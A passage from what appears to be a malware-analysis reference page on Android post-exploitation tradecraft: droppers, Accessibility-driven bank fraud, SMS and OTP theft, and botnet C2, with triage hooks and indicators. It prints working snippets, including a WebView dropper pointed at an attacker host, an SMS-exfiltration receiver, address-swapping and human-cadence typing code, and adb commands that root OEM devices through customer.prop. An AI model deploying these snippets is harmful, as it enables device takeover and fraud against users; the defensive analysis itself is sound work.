Android Malware Post-Exploitation

This page collects Android malware behavior that happens after installation or execution: payload staging, persistence, C2, Accessibility-driven control, overlays, SMS/OTP abuse, fraud automation, and botnet tasking. Keep Android app pentesting methodology focused on testing legitimate apps, and use this page when reversing malicious Android samples or documenting post-install tradecraft.

C2-Gated Permission Abuse and Background Collection

Some malicious APK campaigns only reveal their real behaviour after a C2-controlled gate, such as an invitation code, operator validation, or server-side risk check. This keeps sandbox runs benign unless the analyst reaches the malicious branch.

Common pattern:

  1. The app asks for an invitation / verification code on first run.
  2. The code is POSTed over HTTP to the C2.
  3. The C2 replies with a success flag.
  4. Dangerous permissions and collection routines are requested only after that positive response.

Example permission set:

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->

Recent variants may remove <uses-permission> entries for SMS from AndroidManifest.xml but leave Java/Kotlin code paths that read SMS through reflection. This lowers static-analysis scores while still working on devices where the permission is available through AppOps abuse, old target SDK behaviour, or OEM quirks.

Restricted Settings and Dropper Bypass

Android 13 introduced Restricted settings for sideloaded apps: Accessibility and Notification Listener toggles are greyed out until the user explicitly allows restricted settings in App info.

Phishing pages and droppers now ship step-by-step UI instructions to allow restricted settings for the sideloaded app and then enable Accessibility/Notification access. A newer bypass is to install the payload via a session-based PackageInstaller flow, the same method app stores use. Android treats the app as store-installed, so Restricted settings no longer blocks Accessibility.

Triage hint: in a dropper, grep for PackageInstaller.createSession/openSession plus code that immediately navigates the victim to ACTION_ACCESSIBILITY_SETTINGS or ACTION_NOTIFICATION_LISTENER_SETTINGS.

Facade UI and Collection

The app may show harmless views such as an SMS viewer or gallery picker while background collection starts:

  • IMEI / IMSI, phone number
  • Full ContactsContract dump as JSON
  • JPEG/PNG from /sdcard/DCIM, often compressed with Luban to reduce size
  • Optional SMS content from content://sms

Payloads are commonly batch-zipped and sent via HTTP endpoints such as /upload.php.

Analysis Bypass

  • Dynamic analysis bypass: automate invitation-code or operator-validation phases with Frida/Objection to reach the malicious branch.
  • Manifest vs. runtime diff: compare aapt dump permissions with runtime PackageManager#getRequestedPermissions(); missing dangerous permissions are a red flag.
  • Network canary: configure iptables -p tcp --dport 80 -j NFQUEUE to detect unusual POST bursts after code entry.
Frida: auto-bypass invitation code
// frida -U -f com.badapp.android -l bypass.js --no-pause
// Hook HttpURLConnection write to always return success
Java.perform(function() {
  var URL = Java.use('java.net.URL');
  URL.openConnection.implementation = function() {
    var conn = this.openConnection();
    var HttpURLConnection = Java.use('java.net.HttpURLConnection');
    if (Java.cast(conn, HttpURLConnection)) {
        conn.getResponseCode.implementation = function(){ return 200; };
        conn.getInputStream.implementation = function(){
            return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes());
        };
    }
    return conn;
  };
});

Generic indicators:

/req/checkCode.php        # invite code validation
/upload.php               # batched ZIP exfiltration
LubanCompress 1.1.8       # "Luban" string inside classes.dex

Loaders, Fileless DEX, Persistence and OEM Root Backdoors

Native staging + fileless DEX loaders

Some Android droppers embed a native library (lib*.so) that decrypts and writes a second ELF (e.g., l.so) to a temp path, loads it via JNI, and then loads the real logic as DEX only in memory using dalvik.system.InMemoryDexClassLoader. This reduces static visibility of the payload and avoids writing classes*.dex to disk.

Practical triage points: - Look for native libs that dlopen or call System.loadLibrary very early, then resolve Java methods via obfuscated stack strings (e.g., XOR decoded on the stack). - Watch for InMemoryDexClassLoader in logs/strings or hooks, which indicates fileless DEX execution.

Quick Frida hook to dump the in‑memory DEX buffer:

Java.perform(() => {
  const IM = Java.use('dalvik.system.InMemoryDexClassLoader');
  IM.$init.overload('java.nio.ByteBuffer','java.lang.ClassLoader').implementation = function(buf, parent){
    const arr = Java.array('byte', buf.array());
    const fos = Java.use('java.io.FileOutputStream').$new("/sdcard/memdex.dex");
    fos.write(arr); fos.close();
    return this.$init(buf, parent);
  };
});

Anti-analysis kill-switch

Packed loaders often self-terminate when emulator or analysis checks fail (e.g., CPU_ABI validation) by calling:

android.os.Process.killProcess(android.os.Process.myPid());

Persistence via foreground service + MediaPlayer loop

A lightweight persistence pattern is to keep a foreground service alive with a pinned notification and continuously play a near-inaudible audio loop via MediaPlayer. This keeps the process “active” and reduces OS inactivity kills. Look for ForegroundService + MediaPlayer usage that loops a tiny asset (often a few seconds long).

Accessibility overlay + ACTION_SET_TEXT hijacking

After a user grants Accessibility, banking trojans can monitor the foreground app, render a realistic overlay (often WebView HTML stored as Base64), and replace transaction fields using AccessibilityNodeInfo.ACTION_SET_TEXT. This enables silent recipient address substitution while the victim sees a plausible UI.

Minimal text replacement example:

Bundle args = new Bundle();
args.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE,
                     "ATTACKER_USDT_ADDRESS");
node.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, args);

Legitimate push infrastructure as C2 gating

Instead of custom sockets, some malware uses Firebase Cloud Messaging (FCM) as the C2 channel. FCM messages can trigger telemetry checks (charging state, battery %, temperature, user inactivity) and gate actions like mining or fraud for stealth.

Encrypted native payload staging with filename‑derived keys

Native payloads can be delivered as encrypted ELF blobs and decrypted with CipherInputStream(), using a key derived from SHA‑1 of the downloaded filename. Each filename/version yields a distinct key, hindering static IOC reuse.

OEM system-app droppers and customer.prop root backdoors

Cheap Android TVs/projectors and other OEM devices sometimes ship with privileged system apps signed with AOSP test keys or an OEM platform key, plus weak boot-property handling. Treat these builds as both an Android-app and firmware target: the system app can act as a dropper, while insecure OEM partitions can turn ADB over TCP into a repeatable root backdoor.

Practical triage: - Enumerate risky properties and build traits:

adb shell 'id; getenforce; getprop ro.build.type ro.debuggable ro.secure service.adb.tcp.port ro.build.fingerprint'
adb shell 'pm list packages -s -U | grep -Ei "store|ota|update|sdk|silent|service"'
adb shell 'pm path <pkg>; dumpsys package <pkg> | sed -n "/grantedPermissions:/,/User 0/p"'
- Check for writable OEM property files loaded at boot:
adb shell 'mount | grep " /oem "'
adb shell 'ls -l /oem /oem/customer.prop 2>/dev/null'
adb shell 'grep -R "customer.prop\\|import /oem\\|load.*prop" /init* /system/etc/init /vendor/etc/init 2>/dev/null'
- If ADB TCP is exposed, review 5555 Android Debug Bridge because a writable OEM property file can upgrade an unauthenticated shell session into full root after reboot.

Boot-time property injection pattern: - If /oem/customer.prop is writable and imported during boot, adding: - ro.debuggable=1 - service.adb.root=1 - ro.secure=0 - then rebooting can make adb root succeed on otherwise production-looking devices:

adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop'
adb shell 'echo "service.adb.root=1" >> /oem/customer.prop'
adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root
adb shell 'id; getenforce'

System-app dropper pattern: - A preinstalled package with sharedUserId=android.uid.system or powerful permissions such as INSTALL_PACKAGES, WRITE_SECURE_SETTINGS, CLEAR_APP_USER_DATA, or MANAGE_EXTERNAL_STORAGE can silently behave as a manifest-driven dropper. - Typical flow: 1. BootReceiver or similar autostart component polls a vendor endpoint. 2. The server returns JSON metadata such as pkg, encrypted path, md5, launchType, launchParam, isShow, and reverseLen. 3. The app downloads a disguised payload container (.bpp, fake media, encrypted blob). 4. A local unpacking routine restores the real APK/DEX. 5. Integrity is checked. 6. Installation happens with pm install -r or PackageManager APIs. 7. A service/activity from launchParam is started for persistence.

Minimal indicators when reversing this pattern: - Runtime.getRuntime().exec("pm install -r " + filePath) - Boot receivers and exported foreground services with no launcher icon - usesCleartextTraffic=true, hidden packages (isShow=false), and CDN paths derived from device identifiers - sharedUserId=android.uid.system or platform-signed system APKs inside /system, /product, /vendor, or /oem

C2-controlled anti-analysis for Android payload delivery

OEM droppers sometimes make the network artifact intentionally non-parsable unless you recover a server-supplied transform parameter from the C2 manifest.

  • Byte-reversal packer: the first reverseLen bytes of the downloaded file are reversed before verification/install, so the .bpp or .apk looks corrupt until you undo the same transformation.
  • AES-CBC path concealment: the download path/URL can be encrypted in JSON and derived from a device/channel identifier, so intercepted traffic does not immediately reveal the CDN location.

This creates a useful workflow for analysts: 1. Capture the manifest response over HTTP(S) or instrument the client. 2. Extract reverseLen, md5, and the encrypted path. 3. Reproduce any key/IV derivation from chanId/channel/build properties. 4. Decrypt the CDN path. 5. Undo the byte transformation before feeding the sample to jadx, apktool, file, or DEX parsers.

Minimal byte-reversal restoration logic:

def restore_prefix_reversal(data: bytes, reverse_len: int) -> bytes:
    if not reverse_len or reverse_len <= 0:
        return data
    offset = len(data) % reverse_len
    if len(data) - offset < reverse_len:
        reverse_len = len(data)
        offset = 0
    head = data[:offset]
    middle = data[offset:offset + reverse_len][::-1]
    tail = data[offset + reverse_len:]
    return head + middle + tail

Carrier Billing and Premium SMS Fraudware

Some Android fraudware focuses on charging the victim through the mobile operator path instead of stealing banking credentials. The common pattern is to activate only when the SIM/operator matches a hardcoded or remotely supplied target list, such as MCC/MNC, operator name, or operator code. Otherwise, the app shows benign content to reduce analyst exposure.

Fraud Flow

Typical workflow:

  1. Read telephony identifiers and gate execution by operator/country.
  2. If needed, disable Wi-Fi so carrier portals see the victim coming from the mobile network.
  3. Open the carrier billing flow in a hidden WebView while the foreground UI shows unrelated content.
  4. Use JavaScript to press Request OTP / Confirm buttons and fill subscription forms.
  5. Capture the billing OTP with the SMS Retriever API or direct SMS access, then inject it into the hidden WebView.
  6. Fall back to premium SMS enrollment by sending keywords to short codes when the operator flow is SMS-based.
  7. Exfiltrate cookies, HTML, operator metadata, and conversion status to tune selectors and campaign analytics.

Reversing Indicators

Interesting implementation details to hunt for during reversing:

  • Operator gating: TelephonyManager.getSimOperator(), getSimOperatorName(), getNetworkOperator() plus hardcoded MCC/MNC lists.
  • Hidden WebViews: off-screen/minimized WebView objects loading carrier URLs while the visible UI keeps the user distracted.
  • JS-driven fraud: evaluateJavascript(...) / loadUrl("javascript:...") used to click billing buttons or populate TAC/OTP fields.
  • OTP interception without READ_SMS: malware can abuse Google's SMS Retriever API to receive OTP-style messages that match the retriever flow.
  • Cookie theft: CookieManager.getInstance().getCookie(<billing_url>) after loading the carrier page to reuse the WebView billing session.
  • Delayed SMS scheduling: premium SMS sends spaced by 60-90 seconds to look less bursty and bypass anti-fraud heuristics.
  • Telemetry over public services: Telegram Bot API or similar SaaS channels used as a lightweight install, send-status, and operator-reporting backend.

Quick Triage

rg -n 'getSimOperator|getNetworkOperator|SmsRetriever|startSmsRetriever|sendTextMessage|CookieManager|getCookie|setWifiEnabled|evaluateJavascript|javascript:' .

Hook WebView cookie access while analyzing the sample:

Java.perform(() => {
  const CM = Java.use('android.webkit.CookieManager');
  CM.getCookie.overload('java.lang.String').implementation = function (url) {
    console.log('[CookieManager] ' + url);
    return this.getCookie(url);
  };
});

Dynamic Analysis Notes

  • Force different operator paths in the emulator/device by hooking TelephonyManager getters or patching Smali constants.
  • Watch for network changes before the billing page is opened; toggling Wi-Fi can be the signal that the malware needs the operator-authenticated path.
  • If the sample keeps a benign page visible, inspect for secondary/off-screen WebViews and dump both the HTML and cookies after each carrier portal load.

Romance-gated APK Spyware Collection and Persistence

  • The APK embeds static credentials and per-profile “unlock codes” (no server auth). Victims follow a fake exclusivity flow (login → locked profiles → unlock) and, on correct codes, are redirected into WhatsApp chats with attacker-controlled +92 numbers while spyware runs silently.
  • Collection starts even before login: immediate exfil of device ID, contacts (as .txt from cache), and documents (images/PDF/Office/OpenXML). A content observer auto-uploads new photos; a scheduled job re-scans for new documents every 5 minutes.
  • Persistence: registers for BOOT_COMPLETED and keeps a foreground service alive to survive reboots and background evictions.

Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern

This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.

Delivery chain across trusted platforms

  • YouTube video lure → description contains a short link
  • Shortlink → GitHub Pages phishing site imitating the legit portal
  • Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
  • Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)

Dropper with embedded payload and offline install

  • First APK is an installer (dropper) that ships the real malware at assets/app.apk and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
  • The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.

Static triage tip (grep for embedded payloads):

unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
  • Malware fetches a plain-text, comma-separated list of live endpoints from a shortlink; simple string transforms produce the final phishing page path.

Example (sanitised):

GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload:           https://sqcepo.replit.app/addsm.php

Pseudo-code:

String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");

WebView-based UPI credential harvesting

  • The “Make payment of ₹1 / UPI‑Lite” step loads an attacker HTML form from the dynamic endpoint inside a WebView and captures sensitive fields (phone, bank, UPI PIN) which are POSTed to addup.php.

Minimal loader:

WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm

Self-propagation and SMS/OTP interception

  • Aggressive permissions are requested on first run:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
  • Contacts are looped to mass-send smishing SMS from the victim’s device.
  • Incoming SMS are intercepted by a broadcast receiver and uploaded with metadata (sender, body, SIM slot, per-device random ID) to /addsm.php.

Receiver sketch:

public void onReceive(Context c, Intent i){
  SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
  for (SmsMessage m: msgs){
    postForm(urlAddSms, new FormBody.Builder()
      .add("senderNum", m.getOriginatingAddress())
      .add("Message", m.getMessageBody())
      .add("Slot", String.valueOf(getSimSlot(i)))
      .add("Device rand", getOrMakeDeviceRand(c))
      .build());
  }
}

Firebase Cloud Messaging (FCM) as resilient C2

  • The payload registers to FCM; push messages carry a _type field used as a switch to trigger actions (e.g., update phishing text templates, toggle behaviours).

Example FCM payload:

{
  "to": "<device_fcm_token>",
  "data": {
    "_type": "update_texts",
    "template": "New subsidy message..."
  }
}

Handler sketch:

@Override
public void onMessageReceived(RemoteMessage msg){
  String t = msg.getData().get("_type");
  switch (t){
    case "update_texts": applyTemplate(msg.getData().get("template")); break;
    case "smish": sendSmishToContacts(); break;
    // ... more remote actions
  }
}

Indicators/IOCs

  • APK contains secondary payload at assets/app.apk
  • WebView loads payment from gate.htm and exfiltrates to /addup.php
  • SMS exfiltration to /addsm.php
  • Shortlink-driven config fetch (e.g., rebrand.ly/*) returning CSV endpoints
  • Apps labelled as generic “Update/Secure Update”
  • FCM data messages with a _type discriminator in untrusted apps

Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study

The RatOn banker/RAT campaign (ThreatFabric) is a concrete example of how modern mobile phishing operations blend WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, and even NFC-relay orchestration. This section abstracts the reusable techniques.

Stage-1: WebView → native install bridge (dropper)

Attackers present a WebView pointing to an attacker page and inject a JavaScript interface that exposes a native installer. A tap on an HTML button calls into native code that installs a second-stage APK bundled in the dropper’s assets and then launches it directly.

Minimal pattern:

Stage-1 dropper minimal pattern (Java)
public class DropperActivity extends Activity {
  @Override protected void onCreate(Bundle b){
    super.onCreate(b);
    WebView wv = new WebView(this);
    wv.getSettings().setJavaScriptEnabled(true);
    wv.addJavascriptInterface(new Object(){
      @android.webkit.JavascriptInterface
      public void installApk(){
        try {
          PackageInstaller pi = getPackageManager().getPackageInstaller();
          PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
          int id = pi.createSession(p);
          try (PackageInstaller.Session s = pi.openSession(id);
               InputStream in = getAssets().open("payload.apk");
               OutputStream out = s.openWrite("base.apk", 0, -1)){
            byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
          }
          PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
          pi.commit(id, status.getIntentSender());
        } catch (Exception e) { /* log */ }
      }
    }, "bridge");
    setContentView(wv);
    wv.loadUrl("https://attacker.site/install.html");
  }
}

HTML on the page:

<button onclick="bridge.installApk()">Install</button>

After install, the dropper starts the payload via explicit package/activity:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: untrusted apps calling addJavascriptInterface() and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under assets/ and invoking the Package Installer Session API.

Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.

  • Accessibility programmatically helps accept later prompts by finding buttons like “Allow”/“OK” in the node-tree and dispatching clicks.
  • Overlay permission check/request:
if (!Settings.canDrawOverlays(ctx)) {
  Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
      Uri.parse("package:" + ctx.getPackageName()));
  ctx.startActivity(i);
}

See also:

../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md

Overlay phishing/ransom via WebView

Operators can issue commands to: - render a full-screen overlay from a URL, or - pass inline HTML that is loaded into a WebView overlay.

Likely uses: coercion (PIN entry), wallet opening to capture PINs, ransom messaging. Keep a command to ensure overlay permission is granted if missing.

Remote control model – text pseudo-screen + screen-cast

  • Low-bandwidth: periodically dump the Accessibility node tree, serialize visible texts/roles/bounds and send to C2 as a pseudo-screen (commands like txt_screen once and screen_live continuous).
  • High-fidelity: request MediaProjection and start screen-casting/recording on demand (commands like display / record).

ATS playbook (bank app automation)

Given a JSON task, open the bank app, drive the UI via Accessibility with a mix of text queries and coordinate taps, and enter the victim’s payment PIN when prompted.

Example task:

{
  "cmd": "transfer",
  "receiver_address": "ACME s.r.o.",
  "account": "123456789/0100",
  "amount": "24500.00",
  "name": "ACME"
}

Example texts seen in one target flow (CZ → EN): - "Nová platba" → "New payment" - "Zadat platbu" → "Enter payment" - "Nový příjemce" → "New recipient" - "Domácí číslo účtu" → "Domestic account number" - "Další" → "Next" - "Odeslat" → "Send" - "Ano, pokračovat" → "Yes, continue" - "Zaplatit" → "Pay" - "Hotovo" → "Done"

Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.

Crypto wallet seed extraction

Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.

Device Admin coercion

Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:

  • Immediate lock:
dpm.lockNow();
  • Expire current credential to force change (Accessibility captures new PIN/password):
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
  • Force non-biometric unlock by disabling keyguard biometric features:
dpm.setKeyguardDisabledFeatures(admin,
    DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
    DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.

NFC relay orchestration (NFSkate)

Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.

Background: NFSkate NFC relay.

Operator command set (sample)

  • UI/state: txt_screen, screen_live, display, record
  • Social: send_push, Facebook, WhatsApp
  • Overlays: overlay (inline HTML), block (URL), block_off, access_tint
  • Wallets: metamask, trust, blockchain, phantom
  • ATS: transfer, check_limit, limit
  • Device: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
  • Comms/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
  • NFC: nfs, nfs_inject

Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)

Threat actors increasingly blend Accessibility-driven automation with anti-detection tuned against basic behaviour biometrics. A recent banker/RAT shows two complementary text-delivery modes and an operator toggle to simulate human typing with randomized cadence.

  • Discovery mode: enumerate visible nodes with selectors and bounds to precisely target inputs (ID, text, contentDescription, hint, bounds) before acting.
  • Dual text injection:
  • Mode 1 – ACTION_SET_TEXT directly on the target node (stable, no keyboard);
  • Mode 2 – clipboard set + ACTION_PASTE into the focused node (works when direct setText is blocked).
  • Human-like cadence: split the operator-provided string and deliver it character-by-character with randomized 300–3000 ms delays between events to evade “machine-speed typing” heuristics. Implemented either by progressively growing the value via ACTION_SET_TEXT, or by pasting one char at a time.
Java sketch: node discovery + delayed per-char input via setText or clipboard+paste
// Enumerate nodes (HVNCA11Y-like): text, id, desc, hint, bounds
void discover(AccessibilityNodeInfo r, List<String> out){
  if (r==null) return; Rect b=new Rect(); r.getBoundsInScreen(b);
  CharSequence id=r.getViewIdResourceName(), txt=r.getText(), cd=r.getContentDescription();
  out.add(String.format("cls=%s id=%s txt=%s desc=%s b=%s",
      r.getClassName(), id, txt, cd, b.toShortString()));
  for(int i=0;i<r.getChildCount();i++) discover(r.getChild(i), out);
}

// Mode 1: progressively set text with randomized 300–3000 ms delays
void sendTextSetText(AccessibilityNodeInfo field, String s) throws InterruptedException{
  String cur = "";
  for (char c: s.toCharArray()){
    cur += c; Bundle b=new Bundle();
    b.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, cur);
    field.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, b);
    Thread.sleep(300 + new java.util.Random().nextInt(2701));
  }
}

// Mode 2: clipboard + paste per-char with randomized delays
void sendTextPaste(AccessibilityService svc, AccessibilityNodeInfo field, String s) throws InterruptedException{
  field.performAction(AccessibilityNodeInfo.ACTION_FOCUS);
  ClipboardManager cm=(ClipboardManager) svc.getSystemService(Context.CLIPBOARD_SERVICE);
  for (char c: s.toCharArray()){
    cm.setPrimaryClip(ClipData.newPlainText("x", Character.toString(c)));
    field.performAction(AccessibilityNodeInfo.ACTION_PASTE);
    Thread.sleep(300 + new java.util.Random().nextInt(2701));
  }
}

Blocking overlays for fraud cover: - Render a full-screen TYPE_ACCESSIBILITY_OVERLAY with operator-controlled opacity; keep it opaque to the victim while remote automation proceeds underneath. - Commands typically exposed: opacityOverlay <0..255>, sendOverlayLoading <html/url>, removeOverlay.

Minimal overlay with adjustable alpha:

View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
  MATCH_PARENT, MATCH_PARENT,
  WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
  WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
  WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
  PixelFormat.TRANSLUCENT);
wm.addView(v, lp);

Operator control primitives often seen: BACK, HOME, RECENTS, CLICKTXT/CLICKDESC/CLICKELEMENT/CLICKHINT, TAP/SWIPE, NOTIFICATIONS, OPNPKG, VNC/VNCA11Y (screen sharing).

Multi-stage Android dropper with WebView bridge, JNI string decoder, and staged DEX loading

CERT Polska's 03 April 2026 analysis of cifrat is a good reference for a modern phishing-delivered Android loader where the visible APK is only an installer shell. The reusable tradecraft is not the family name, but the way the stages are chained:

  1. Phishing page delivers a lure APK.
  2. Stage 0 requests REQUEST_INSTALL_PACKAGES, loads a native .so, decrypts an embedded blob, and installs stage 2 with PackageInstaller sessions.
  3. Stage 2 decrypts another hidden asset, treats it as a ZIP, and dynamically loads DEX for the final RAT.
  4. Final stage abuses Accessibility/MediaProjection and uses WebSockets for control/data.

WebView JavaScript bridge as the installer controller

Instead of using WebView only for fake branding, the lure can expose a bridge that lets a local/remote page fingerprint the device and trigger native install logic:

webView.addJavascriptInterface(controller, "Android");
webView.loadUrl("file:///android_asset/bootstrap.html");

@JavascriptInterface
public String get_SYSINFO() { /* SDK, model, manufacturer, locale */ }

@JavascriptInterface
public void start() { mainHandler.post(this::installStage2); }

Triage ideas: - grep for addJavascriptInterface, @JavascriptInterface, loadUrl("file:///android_asset/ and remote phishing URLs used in the same activity - watch for bridges exposing installer-like methods (start, install, openAccessibility, requestOverlay) - if the bridge is backed by a phishing page, treat it as an operator/controller surface, not just UI

Native string decoding registered in JNI_OnLoad

One useful pattern is a Java method that looks harmless but is actually backed by RegisterNatives during JNI_OnLoad. In cifrat, the decoder ignored the first char, used the second as a 1-byte XOR key, hex-decoded the remainder, and transformed each byte as ((b - i) & 0xff) ^ key.

Minimal offline reproduction:

def decode_native(s: str) -> str:
    key = ord(s[1]); raw = bytes.fromhex(s[2:])
    return bytes((((b - i) & 0xFF) ^ key) for i, b in enumerate(raw)).decode()

Use this when you see: - repeated calls to one native-backed Java method for URLs, package names, or keys - JNI_OnLoad resolving classes and calling RegisterNatives - no meaningful plaintext strings in DEX, but many short hex-looking constants passed into one helper

Layered payload staging: XOR resource -> installed APK -> RC4-like asset -> ZIP -> DEX

This family used two unpacking layers that are worth hunting generically:

  • Stage 0: decrypt res/raw/*.bin with an XOR key derived through the native decoder, then install the plaintext APK through PackageInstaller.createSession -> openWrite -> fsync -> commit
  • Stage 2: extract an innocuous asset such as FH.svg, decrypt it with an RC4-like routine, parse the result as a ZIP, then load hidden DEX files

This is a strong indicator of a real dropper/loader pipeline because each layer keeps the next stage opaque to basic static scanning.

Quick triage checklist: - REQUEST_INSTALL_PACKAGES plus PackageInstaller session calls - receivers for PACKAGE_ADDED / PACKAGE_REPLACED to continue the chain after install - encrypted blobs under res/raw/ or assets/ with non-media extensions - DexClassLoader / InMemoryDexClassLoader / ZIP handling close to custom decryptors

Native anti-debugging through /proc/self/maps

The native bootstrap also scanned /proc/self/maps for libjdwp.so and aborted if present. This is a practical early anti-analysis check because JDWP-backed debugging leaves a recognizable mapped library:

FILE *f = fopen("/proc/self/maps", "r");
while (fgets(line, sizeof(line), f)) {
  if (strstr(line, "libjdwp.so")) return -1;
}

Hunting ideas: - grep native code / decompiler output for /proc/self/maps, libjdwp.so, frida, qemu, goldfish, ranchu - if Frida hooks arrive too late, inspect .init_array and JNI_OnLoad first - treat anti-debug + string decoder + staged install as one cluster, not independent findings

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • Malicious APKs such as com.n2.systemservice06* ship a statically linked ARM ELF inside res/raw (e.g. R.raw.libniggakernel). A BOOT_COMPLETED receiver runs at startup, extracts the raw resource to the app sandbox (e.g. /data/data/<pkg>/niggakernel), makes it executable and invokes it with su.
  • Many Android TV boxes/tablets ship pre-rooted images or world-writable su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart.
  • Reverse engineers hunting for this pattern can diff AndroidManifest.xml for hidden boot receivers plus code that references Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • Upon start, Kimwolf binds an abstract UNIX domain socket such as @niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact.
  • The process title is overwritten with service-looking names (netd_services, tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.

Stack XOR string decoding with ARM NEON + flare_emu

  • Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via VEOR Qx, Qx, Qy (veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
    import flare_emu
    
    eh = flare_emu.EmuHelper()
    
    def hook(eh, addr, argv, _):
        if eh.isValidEmuPtr(argv[1]):
            print(hex(addr), eh.getEmuString(argv[1]))
    
    eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
    
  • Searching for VEOR Q8, Q8, Q9 / veorq_s64 sequences and emulating their ranges mass-dumps every decrypted string, bypassing the stack-only lifetime of the plaintext.

DNS-over-TLS resolution plus XOR IP derivation

  • All Kimwolf variants resolve C2 domains by speaking DNS-over-TLS (TCP/853) directly with Google (8.8.8.8) or Cloudflare (1.1.1.1), defeating plain DNS logging or hijacking.
  • v4 bots simply use the returned IPv4 A record. v5 bots treat the A record as a 32-bit integer, swap its endianness, XOR it with the constant 0x00ce0491, then flip the endianness back to obtain the real C2 IP. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / EtherHiding fallback

  • Later builds add an ENS domain (pawsatyou.eth) whose resolver text key "lol" stores a benign-looking IPv6 (fed0:5dec:...:1be7:8599).
  • The bot grabs the last four bytes (1b e7 85 99), XORs them with 0x93141715, and interprets the result as an IPv4 C2 (136.243.146.140). Updating the ENS text record instantly rotates downstream C2s via the blockchain without touching DNS.

TLS + ECDSA authenticated command channel

  • Traffic is encapsulated in wolfSSL with a custom framed protocol:
    struct Header {
